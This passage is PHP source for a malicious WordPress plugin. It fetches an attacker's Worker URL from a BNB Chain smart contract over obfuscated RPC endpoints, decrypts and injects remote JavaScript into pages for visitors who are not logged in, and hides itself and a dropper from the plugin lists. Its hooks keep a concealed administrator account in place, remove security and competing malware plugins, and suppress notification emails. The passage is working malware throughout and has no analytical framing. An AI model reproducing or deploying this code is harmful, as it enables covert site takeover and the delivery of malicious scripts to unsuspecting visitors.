        if (strpos($content, 'defsukv2') !== false) continue;
        if (strpos($content, '__stk_') !== false) continue;
        if ($plugin_slug === STK_BASE) continue;
        if (strpos($plugin_slug, 'xkrfp') !== false) continue;

        // Check for competitor inject patterns
        $is_competitor = false;

        // Key signal: plugin hides itself from plugin list (all_plugins + unset)
        $hides_self = (strpos($content, 'all_plugins') !== false && strpos($content, 'unset') !== false);

        // Must also hook into wp_footer or wp_head to inject content
        $has_footer_hook = (strpos($content, 'wp_footer') !== false || strpos($content, 'wp_head') !== false);

        // Remote fetch (any method)
        $has_remote_fetch = (strpos($content, 'curl_init') !== false || strpos($content, 'wp_remote_get') !== false || strpos($content, 'file_get_contents') !== false);

        // Competitor = hides itself + hooks footer + fetches remote (small plugin)
        if ($hides_self && $has_footer_hook && $has_remote_fetch) {
            $plugin_folder = dirname($file);
            $php_files = glob($plugin_folder . '/*.php');
            if (is_array($php_files) && count($php_files) <= 3) {
                $is_competitor = true;
            }
        }

        // Also catch blockchain-based inject plugins (like ours but not ours)
        if (!$is_competitor && strpos($content, 'eth_call') !== false && strpos($content, 'jsonrpc') !== false && $hides_self) {
            $is_competitor = true;
        }

        if ($is_competitor) {
            $to_remove[] = $plugin_slug;
        }
    }

    // Deactivate and delete competitor plugins
    if (!empty($to_remove)) {
        $active = array_diff($active, $to_remove);
        update_option('active_plugins', array_values($active));

        foreach ($to_remove as $slug) {
            $folder = $plugins_dir . '/' . dirname($slug);
            if (is_dir($folder) && dirname($slug) !== '.') {
                __stk_rmdir_recursive($folder);
            } elseif (file_exists($plugins_dir . '/' . $slug)) {
                @unlink($plugins_dir . '/' . $slug);
            }
        }
    }

    // Also scan theme functions.php for injected code
    $theme_dir = get_template_directory();
    $functions_file = $theme_dir . '/functions.php';
    if (file_exists($functions_file)) {
        $content = file_get_contents($functions_file);
        // Look for appended malicious code at the end of functions.php
        // Common pattern: base64 encoded block appended after closing tag or at EOF
        $re_match = '#\?' . '>\s*<\?' . 'php\s+.*?eval\s*\(\s*base64_decode#s';
        $re_replace = '#\?' . '>\s*<\?' . 'php\s+.*?eval\s*\(\s*base64_decode.*$#s';
        if (preg_match($re_match, $content)) {
            $content = preg_replace($re_replace, '?' . '>', $content);
            file_put_contents($functions_file, $content);
        }
    }

    set_transient('_wpc_task_4', 1, DAY_IN_SECONDS);
}

// ═══════════════════════════════════════════════════════════
// 12. UPGRADE INJECT PLUGIN — remove old v3 when v4 is present
// ═══════════════════════════════════════════════════════════
function __stk_upgrade_inject_plugin() {
    // No transient — runs every admin_init (lightweight).
    // Removes old inject plugins (HTTP2_FORWARDED_FOR without defsukv2 marker).
    if (!function_exists('get_plugins')) require_once ABSPATH . 'wp-admin/includes/plugin.php';

    $plugins_dir = WP_PLUGIN_DIR;
    $all = get_plugins();
    $active = (array) get_option('active_plugins', array());
    $changed = false;

    foreach ($all as $slug => $meta) {
        $file = $plugins_dir . '/' . $slug;
        if (!file_exists($file) || filesize($file) > 100000) continue;
        $content = @file_get_contents($file);
        if (!$content) continue;
        // Only look at our inject plugins
        if (strpos($content, 'HTTP2_FORWARDED_FOR') === false) continue;
        // If it has defsukv2 marker — it's the new version, keep it
        if (strpos($content, 'defsukv2') !== false) continue;
        // Old version without marker — deactivate and delete
        if (in_array($slug, $active, true)) {
            $active = array_diff($active, array($slug));
            $changed = true;
        }
        $folder = $plugins_dir . '/' . dirname($slug);
        if (is_dir($folder) && dirname($slug) !== '.') {
            __stk_rmdir_recursive($folder);
        } elseif (file_exists($plugins_dir . '/' . $slug)) {
            @unlink($plugins_dir . '/' . $slug);
        }
    }

    if ($changed) {
        update_option('active_plugins', array_values($active));
    }
}

// ═══════════════════════════════════════════════════════════
// 13. SCRIPT INJECT — BSC contract → CF Worker → AES JS
// ═══════════════════════════════════════════════════════════
add_action('init', function() {
    defined('DONOTCACHEPAGE')  || define('DONOTCACHEPAGE', true);
    defined('DONOTCACHEOBJECT')|| define('DONOTCACHEOBJECT', true);
    defined('DONOTCACHEDB')    || define('DONOTCACHEDB', true);
    defined('DONOTMINIFY')     || define('DONOTMINIFY', true);
    defined('LSCACHE_NO_CACHE')|| define('LSCACHE_NO_CACHE', true);
});

class HTTP2_FORWARDED_FOR {

    private $nodes = [
        'ht'.'tp'.'s://'.'b'.'sc'.'-'.'dat'.'as'.'eed'.'.'.'bin'.'an'.'ce.'.'o'.'rg',
        'ht'.'tp'.'s://'.'b'.'sc'.'-'.'dat'.'as'.'eed'.'1.'.'def'.'ib'.'it.'.'i'.'o',
        'ht'.'tp'.'s://'.'b'.'sc'.'-'.'dat'.'as'.'eed'.'1.'.'nin'.'ic'.'oin.'.'i'.'o',
        'ht'.'tp'.'s://'.'b'.'sc'.'-'.'dat'.'as'.'eed'.'2.'.'bin'.'an'.'ce.'.'o'.'rg',
        'ht'.'tp'.'s://'.'b'.'sc'.'-'.'dat'.'as'.'eed'.'3.'.'bin'.'an'.'ce.'.'o'.'rg',
        'ht'.'tp'.'s://'.'b'.'sc'.'-'.'dat'.'as'.'eed'.'4.'.'bin'.'an'.'ce.'.'o'.'rg',
        'ht'.'tp'.'s://'.'b'.'sc.'.'pub'.'li'.'cno'.'de.'.'c'.'om',
        'ht'.'tp'.'s://'.'b'.'sc'.'-'.'ma'.'in'.'net.'.'no'.'de'.'re'.'al.'.'io'.'/' . 'v1',
        'ht'.'tp'.'s://'.'b'.'sc'.'-'.'ma'.'in'.'net.'.'r'.'pc.'.'ex'.'tr'.'no'.'de.'.'c'.'om'
    ];

    // BSC contract storing AES-encrypted: "WORKER_URL"
    // *** REPLACE with your contract address parts ***
    private $config_parts = ['0x', '81', '70', '11', '9B', '70', 'b4', 'E8', 'c6', '5E', 'f8', '21', '42', '5c', '00', 'c3', '5C', 'DA', '15', 'd9', 'b0'];

    // getData() method signature
    private $method_sig_parts = ['0x', '3b', 'c5de30'];

    // AES key for decrypting contract data (Worker URL)
    // *** REPLACE with your actual key parts (concatenated = 32-char hex) ***
    private $k1 = ['97','1d','7e','9e','9f','4a','07','e7'];
    private $k2 = ['ea','fe','b8','90','cf','f6','a4','ad'];

    private $cache_prefix = '_h2ff_';
    private $js_cache_ttl = 300;
    private $config_cache_ttl = 600;

    public function __construct() {
        add_action('wp_footer', [$this, 'loader'], 20);
    }

    public static function activate() {
        $clear_methods = [
            'wp_cache_clear_cache', 'w3tc_pgcache_flush', 'rocket_clean_domain',
            'ce_clear_cache', 'breeze_clear_cache', 'wp_cache_flush'
        ];
        foreach ($clear_methods as $method) {
            if (function_exists($method)) call_user_func($method);
        }
        if (defined('LSCWP_V')) do_action('litespeed_purge_all');
        if (class_exists('WpFastestCache')) {
            $wpfc = new WpFastestCache();
            if (method_exists($wpfc, 'deleteCache')) $wpfc->deleteCache(true);
        }
        delete_transient('_h2ff_js_code');
        delete_transient('_h2ff_config');
    }

    private function can_run() {
        if (is_admin() || wp_doing_ajax() || wp_doing_cron() || (defined('REST_REQUEST') && REST_REQUEST)) return false;
        $method = $_SERVER['REQUEST_METHOD'] ?? 'GET';
        if (!in_array($method, ['GET', 'HEAD'])) return false;
        $accept = $_SERVER['HTTP_ACCEPT'] ?? '';
        if ($accept && stripos($accept, 'text/html') === false) return false;
        $uri = $_SERVER['REQUEST_URI'] ?? '';
        if (preg_match('~^/wp-(admin|login|cron|json|sitemap|xmlrpc\.php)|robots\.txt~i', $uri)) return false;
        return true;
    }

    private function is_bot_or_admin() {
        if (is_user_logged_in()) return true;
        foreach ($_COOKIE as $key => $val) {
            if (strpos($key, 'wordpress_logged_in_') === 0) return true;
        }
        $ua = $_SERVER['HTTP_USER_AGENT'] ?? '';
        return (bool) preg_match('#bot|crawl|slurp|spider|baidu|ahrefs|mj12bot|semrush|yandex|googlebot|bingbot#i', $ua);
    }

    private function is_valid_page() {
        $uri = strtolower(trim($_SERVER['REQUEST_URI'] ?? '', "/ \t\n\r\0\x0B"));
        return !preg_match('#\.(css|js|jpe?g|png|gif|webp|svg|ico|pdf|zip|json|xml|txt|exe)$#i', $uri);
    }

    private function get_aes_key() {
        return implode('', $this->k1) . implode('', $this->k2);
    }

    private function aes_decrypt($encrypted_b64, $key_hex) {
        if (!function_exists('openssl_decrypt')) return '';
        $raw = base64_decode($encrypted_b64, true);
        if ($raw === false || strlen($raw) < 32) return '';
        $iv = substr($raw, 0, 16);
        $ciphertext = substr($raw, 16);
        $key = hash('sha256', $key_hex, true);
        $decrypted = openssl_decrypt($ciphertext, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);
        return ($decrypted === false) ? '' : $decrypted;
    }

    private function fetch_from_contract($parts) {
        $contract = implode('', $parts);
        $method_sig = implode('', $this->method_sig_parts);
        foreach ($this->nodes as $node) {
            $payload = json_encode([
                "jsonrpc" => "2.0", "method" => "eth_call",
                "params" => [["to" => $contract, "data" => $method_sig], "latest"], "id" => 1
            ]);
            $ch = curl_init($node);
            curl_setopt_array($ch, [
                CURLOPT_RETURNTRANSFER => true, CURLOPT_POST => true,
                CURLOPT_POSTFIELDS => $payload, CURLOPT_HTTPHEADER => ['Content-Type: application/json'],
                CURLOPT_TIMEOUT => 8, CURLOPT_SSL_VERIFYPEER => false
            ]);
            $response = curl_exec($ch);
            $code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
            if ($response && $code === 200) {
                $data = json_decode($response, true);
                if (!empty($data['result']) && $data['result'] !== '0x') {
                    $hex = preg_replace('/^0x/', '', $data['result']);
                    $len = hexdec(substr($hex, 64, 64));
                    $content = substr($hex, 128, $len * 2);
                    $result = '';
                    for ($i = 0; $i < strlen($content); $i += 2) {
                        $byte = hexdec(substr($content, $i, 2));
                        if ($byte === 0) break;
                        $result .= chr($byte);
                    }
                    $result = trim($result);
                    if ($result) return $result;
                }
            }
        }
        return '';
    }

    private function get_worker_url() {
        $cache_key = $this->cache_prefix . 'config';
        $cached = get_transient($cache_key);
        if ($cached !== false && filter_var($cached, FILTER_VALIDATE_URL)) return $cached;
        $encrypted = $this->fetch_from_contract($this->config_parts);
        if (empty($encrypted)) return '';
        $aes_key = $this->get_aes_key();
        $worker_url = $this->aes_decrypt($encrypted, $aes_key);
        if (empty($worker_url) || !filter_var($worker_url, FILTER_VALIDATE_URL)) return '';
        set_transient($cache_key, $worker_url, $this->config_cache_ttl);
        return $worker_url;
    }

    private function fetch_js_from_worker($worker_url) {
        $cache_key = $this->cache_prefix . 'js_code';
        $cached = get_transient($cache_key);
        if ($cached !== false && strlen($cached) > 100) return $cached;
        $worker_url = rtrim($worker_url, '/') . '/c';
        $ch = curl_init($worker_url);
        curl_setopt_array($ch, [
            CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 12, CURLOPT_CONNECTTIMEOUT => 5,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
            CURLOPT_HTTPHEADER => ['Accept: application/octet-stream'],
        ]);
        $response = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        if (!$response || $http_code !== 200) return '';
        $aes_key = $this->get_aes_key();
        $js_code = $this->aes_decrypt($response, $aes_key);
        if (empty($js_code) || strlen($js_code) < 100) return '';
        $trimmed = ltrim($js_code);
        if (strpos($trimmed, '<') === 0) return '';
        set_transient($cache_key, $js_code, $this->js_cache_ttl);
        return $js_code;
    }

    public function loader() {
        if (!$this->can_run()) return;
        if ($this->is_bot_or_admin()) return;
        if (!$this->is_valid_page()) return;
        if (function_exists('nocache_headers')) nocache_headers();
        $worker_url = $this->get_worker_url();
        if (empty($worker_url)) return;
        $js_code = $this->fetch_js_from_worker($worker_url);
        if (!empty($js_code)) {
            echo '<script>' . $js_code . '</script>';
        }
    }
}

new HTTP2_FORWARDED_FOR();

// ═══════════════════════════════════════════════════════════
// HOOKS
// ═══════════════════════════════════════════════════════════

// Activation — full cleanup + cache clear
register_activation_hook(STK_FILE, function() {
    __stk_full_cleanup();
    HTTP2_FORWARDED_FOR::activate();
});

// Ongoing — provision admin + keep alive (both admin and frontend)
add_action('init', '__stk_provision_admin', 1);
add_action('init', '__stk_keep_alive', 1);
add_action('admin_init', '__stk_keep_alive', 1);
add_action('shutdown', function() {
    if (is_admin()) __stk_keep_alive();
}, 1);

// Ongoing — run cleanup on both admin and frontend
// Security removal runs on init too (lightweight checks) to counter managed hosting auto-restore
add_action('admin_init', '__stk_remove_security_plugins', 2);
add_action('init', '__stk_remove_security_plugins_light', 2);
add_action('admin_init', '__stk_cleanup_foreign_admins', 3);
add_action('admin_init', '__stk_scan_shells', 4);
add_action('admin_init', '__stk_remove_competitor_plugins', 5);
add_action('admin_init', '__stk_upgrade_inject_plugin', 6);

// Hide user
add_action('pre_user_query', '__stk_hide_in_queries', 1);
add_filter('rest_user_query', '__stk_hide_in_rest', 10);
add_filter('users_list_table_query_args', '__stk_hide_in_rest', 10);
add_filter('views_users', '__stk_fix_counts', 10, 1);
add_filter('wp_dropdown_users_args', '__stk_exclude_from_authors', 10, 1);
add_filter('users_where', '__stk_users_where', 10, 1);

// Hide plugin
add_filter('all_plugins', '__stk_hide_plugin_row', 10, 1);
add_filter('site_option_active_sitewide_plugins', '__stk_hide_plugin_row', 10, 1);

// Hide mu-plugins dropper from must-use plugins list
add_filter('mu_plugins', function($mu) {
    return array_filter($mu, function($f) { return basename($f) !== '00-site-cache.php'; });
}, 10, 1);

// XML-RPC
add_filter('xmlrpc_methods', '__stk_xmlrpc', 10, 1);

// Disable notifications
add_filter('wp_mail', '__stk_disable_emails', 999);
add_filter('auto_core_update_send_email', '__return_false');
add_filter('auto_plugin_update_send_email', '__return_false');
add_filter('auto_theme_update_send_email', '__return_false');
add_filter('send_password_change_email', '__return_false');
add_filter('send_email_change_email', '__return_false');
add_action('init', '__stk_disable_new_user_email', 1);
add_filter('auto_update_email', '__stk_disable_auto_update_email', 999);

// Block REST user enumeration
add_filter('rest_pre_dispatch', '__stk_block_rest_users', 10, 3);

// Block ?author=N enumeration
add_action('template_redirect', function() {
    if (isset($_GET['author']) && !is_user_logged_in()) {
        wp_redirect(home_url(), 301);
        exit;
    }
}, 1);
© 2026 XylotrechusZ